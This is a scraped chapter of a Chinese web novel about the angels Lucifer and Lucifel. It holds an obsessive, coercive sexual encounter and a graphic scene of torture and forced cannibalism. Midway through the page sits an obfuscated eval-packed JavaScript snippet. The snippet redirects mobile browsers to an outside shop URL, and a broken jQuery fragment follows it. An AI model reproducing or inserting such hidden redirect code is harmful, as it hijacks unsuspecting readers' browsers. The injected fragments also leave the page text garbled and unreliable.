文趣网 > 都市小说 > 魔王今天失忆了吗 > 22. 第 22 章
    不等路西斐尔从愉悦中回神,路西法毫无章法的吻上他的唇,溢出令人脸红心跳的声音。(只是接吻!)

    路西斐尔被迫承受着他凶狠的吻,意识不清之中下意识的回吻着。

    可一次又一次的白光拉扯他的理智,让他没有时间思考。

    又一次后,白光化作碎星,占据着大脑。

    路西斐尔只觉得很累,微张着嘴,趴在路西法肩膀上喘着气,他昏昏欲睡,一点力气也没有了。(只是休息!什么也没有!)

    路西法本该高兴的,这不是他所期盼的吗?

    可看到路西斐尔陷入情欲,看到他无意识的依赖,他心中的空虚就越发明显。

    欲望像深不见底的沟壑,得不到满足时就开始叫嚣,莫名的烦躁和忧虑快要把他逼疯,疯狂着把他扯进那深渊,死死压在下面。

    他美丽强大高高在上的天使,他散发的光芒足以照亮世界的每一处黑暗。

    只有在这个地方,在这个时间他才是属于他的。

    神爱世人,所以所有人共享神的怜爱。

    可为什么呢?为什么不能只爱我一个人呢?

    明明我才是最爱他的人,我才是那个会一直陪着他的,为什么他的眼里不能只有我一个?

    如果你的世界只能存在一个人,那个人应该是我,也必须是我。

    我真的好爱你啊,路西斐尔,我的哥哥。

    出生看到的第一个人是你,陪我长大的也是你,以后也只能是你。

    路西法近乎痴迷的掐着路西斐尔的腰往身上带,头埋在路西斐尔肩颈处,嘴里喃喃着模糊不清的呓语。

    应该是能听的清的,路西斐尔想。

    四周一片静谧,仿佛置身于虚无之境,只是他不敢听清,更不敢细想。

    发生了这样的事情还有什么想不通和疑惑呢,况且眼前的人身前的变化过于明显,想忽略都难。

    一切理不清的彻底清晰,只是他之前不愿意接受这个事实罢了。

    是从什么时候呢?他想。

    恍然间,他感到有什么柔软温凉的东西落在了他的耳下,熟悉的感觉让他一下子就想到了这是对方的嘴唇,那个形状漂亮却总能让他感到绝望和难堪的嘴唇……

    意识清明之际,他想起了很久之前自己做的那个梦……

    难道他就没有一点多余的想法?难道不是他在默默准许对方的靠近吗?

    难道当时去求原始神的宽恕只是因为对方是他的“弟弟”吗?

    路西法不能死,他必须好好活着,这是他当时的全部想法,而想法的来源他无法探究。

    不,不,我在想什么!不,不。

    一瞬间他仿佛置身于极寒之地全身都被压在数百层冰川之下,浑身上下都冒出寒气来。

    路西斐尔忽然惊醒一般想要起身,却无法松动半分。

    “路……”

    话被打断,他的动作更加激怒身前的人,双臂箍的更紧了,一路流连的动作停在唇角,试探般的伸出一小截,路西斐尔不动了,仿佛置身于密不透风的水底,连最后的氧气都被榨干。

    下一秒,被人重重一咬,铁锈味瞬间充/溢着整个口腔。

    “呃……”

    路西斐尔吃痛,去推他的脸。

    谁知咬人的没有一丝愧疚,反倒挂上了委屈,甚至夹杂着一丝愤怒。

    “你说你会永远保护我,会永远爱我,都是骗我的。”

    “你保护所有人,你爱世上所有的人,都比爱我要深。”

    “他们也会这样吗?他们也会像我这样对你,让你开心吗?嗯?”

    路西斐尔没有回答,路西法不耐地伸出一只手在pi轻拍两下。

    “说话哥哥。”

    原本就因为接连的高焯格外的明显,加上路西法近乎挑逗的拍拍,路西斐尔只觉得浑身像过了电,迫切想要逃离这个地方。(只是拍一下,啥也没干)

    路西法却不遂他的愿,一个用力把他压倒在床上,跨过他的腰腹,然后低头俯身靠近,直到鼻尖碰到对方,他才堪堪停下来。(啥也没干,啥也没干)

    “用完了就扔,把我当做什么了。”

    路西法极具恶意的看着他,路西斐尔被惊得眼睛都睁大了不少,路西法满意的看着他的反应。

    “我要难受死了哥哥……”

    路西斐尔一个激灵,声音都变大了不少。

    “别,不行,现在不行!”

    路西法却不打算放过他,眼里的情……欲连掩饰都不掩饰。

    “哦,现在不行,那什么时候可以?”

    路西斐尔不知道路西法是吓唬他还是怎么,他简直不敢想。

    他模糊的大脑开始飞速运转,现在对方情绪过于激动,不宜刺激,应以安抚为主。

    “现在不行,太突然了,你得让我做一下心理准备,况且……”他顿了顿,示意路西法和他一起环顾四周,“现在我们所处的环境太危险了,我……我们先别做。”

    “你都是骗我的,你总是这样……”

    他说着,抓起路西斐尔的手,路西斐尔简直吓呆了,赶紧主动抬头安抚似的吻上他的鼻尖。

    “真的,我没骗你。”

    路西法锲而不舍:“那什么时候可以,你总要告诉我一个时间吧。”

    “这种事要什么具体时间……”

    “你骗我但总要给我一些甜头的,要不然我也不知道自己会做什么事。”

    见路西斐尔又不说话了,他又要低头吻他,看着逐渐放大的帅气脸庞,路西斐尔直接吓回神了。

    “回去,等回去以后。”

    路西法嘴角扬起一丝嘲讽的微笑,以后,他在心里默念一遍,那可真是个宽泛的词啊。

    他扬起脸蹭蹭路西斐尔的脸。

    ……

    路西斐尔见他终于不纠结了,忙不迭回答:“我帮你。”

    得到满意的答案,路西法抓住路西斐尔的手,那只冷白细腻的手无声的瑟缩了一下。

    ……

    路西斐尔原本就已经累的不行了,到后面手连一点力气都没有了,对方依旧没有要结束的意思。

    “路……路西斐尔……”

    自己的名字裹热气洒在他的脸上,下一秒滚烫吻落在他的唇上,紧接着手掌一凉。

    ……

    当太阳刚刚出现在地平线之上,阳光还无法普照在每一寸的土地。

    路西斐尔累极了,可他睡得并不安稳,眉头紧皱,时不时就要惊醒,路西法起身亲了亲他的额头。

    路西斐尔被他的动作惊醒,迷糊的看着他,问:“你要去哪里?”

    路西法看着这一幕,心都要化了,恨不得立刻躺回去和天使长大人亲亲抱抱睡觉觉。

    “我出去一趟,一会儿就回来了,不要担心。”

    担心路西斐尔还是睡得不安稳,他的手掌出现一团浅蓝色的光,笼罩在路西斐尔的周围。

    “睡吧,不会有危险的。”

    不知道是累的还是路西法的话起了安抚作用,路西斐尔不再说话再次睡了过去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635807|206575||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    路西法小心的推开门,他站在院子里在面前凝聚成一团光,光团明显比之前蕴含的力量多了很多。

    他抬头看了一眼天空,云层层叠叠的堆积,缀在天空的每一个角落,仿佛下一秒就要坠下来,给人一种压迫感。

    不是他的错觉,这里的结界要破了。

    是了,这里之所有没有任何神明,没有与任何一处联系,就是因为这里存在着结界,并且是一种只能从外破解的结界,而现在他的力量在恢复,就说明结界的隔离作用弱化了。

    路西法冷笑一声。

    他倒要看看这里是那个神明的辖区,那么久才发现异样,干脆别干了。

    不过,他现在最主要的事情可不是这些,想到这里他的眼神彻底暗下去,推开门大步往外走。

    尽管这里的人出现了异化现象,可毕竟还是人,当路西法赶到那个狭窄的小巷时,里面仍旧是狼藉一片。

    最开始下药的人被路西斐尔伤的濒临死亡,路西法蹲下来看着他不成样子的身体,眼里闪着兴奋的光。

    那人见到路西法,浑身颤抖拼了命的往外爬,可他的四肢被打断了,眼球都少了一个,逃离注定失败。

    “不出意外的话,我们还会在地狱见的,你应该祈祷我发现不了你,否则,我一定会让你后悔来到这个世界上,让你求生不得求死不能。”

    “唔……呜呜呜……”

    那人拼了命的摇头,眼泪混着血水沾满这个脸。

    “这么喜欢喂别人吃东西,我也喂你点怎么样?我保证你会喜欢的。”

    他嫌恶的掰起那人的下巴,迫使他张嘴,随后丢进去个什么东西,那东西像虫子一样在他的口腔里乱爬,然后消失在喉管之下。

    “唔唔……我……我错了……对不起……别让我死……我告诉你这里的一切……求……求求你……”

    “把你的忏悔和道歉说给你的同伴吧,他们比我更需要。”

    那人起初没有意识到这话什么意思,紧接着他就觉得自己的喉咙奇痒无比,不一会儿胃也因为饥饿疯狂叫嚣,食欲压倒一切。

    然后他就看到不远处有两个人,不,不是两头猪,烤熟的猪。

    饿……好饿……

    毅力驱使,他竟然奇迹般站了起来飞扑上那两头猪。

    好饿……吃掉……全部吃掉……

    他大快朵颐,那简直是世界上最美味的东西,他一口接着一口,直到快要吃完,手心里忽然出现熟悉的东西。

    嗯?怎么有布料啊?黑黑的东西怎么那么像人的头发啊?

    他想。

    紧接着眼前的转化,面前的一切发生了翻天覆地的改变。

    布料……

    把你的道歉和愧悔说给你的同伴吧……

    同伴……

    意识到什么,他忽然停下了动作,浑身止不住的抖起来,他瞳孔紧缩,惊恐的低下头。

    手上捧着的根本(不)是猪,是人!

    周围血浆碎肉到处都是,两个人被啃的只剩下头,眼珠还在。

    那双眼睛里倒映的不是恐惧,而是比恐惧更深的东西。

    “啊啊啊啊啊啊啊啊……”

    他发疯一般惊恐的大叫起来,可他控制不住自己,直接朝啃上去……

    “唔,啊啊啊啊啊……”

    他太饿了。

    他边吃边吐,闹僵混着全是遂肉的///呕吐物源源不断的被吐在一旁。

    ……

    当太阳从东方升起,光芒普照大地,一切都将结束。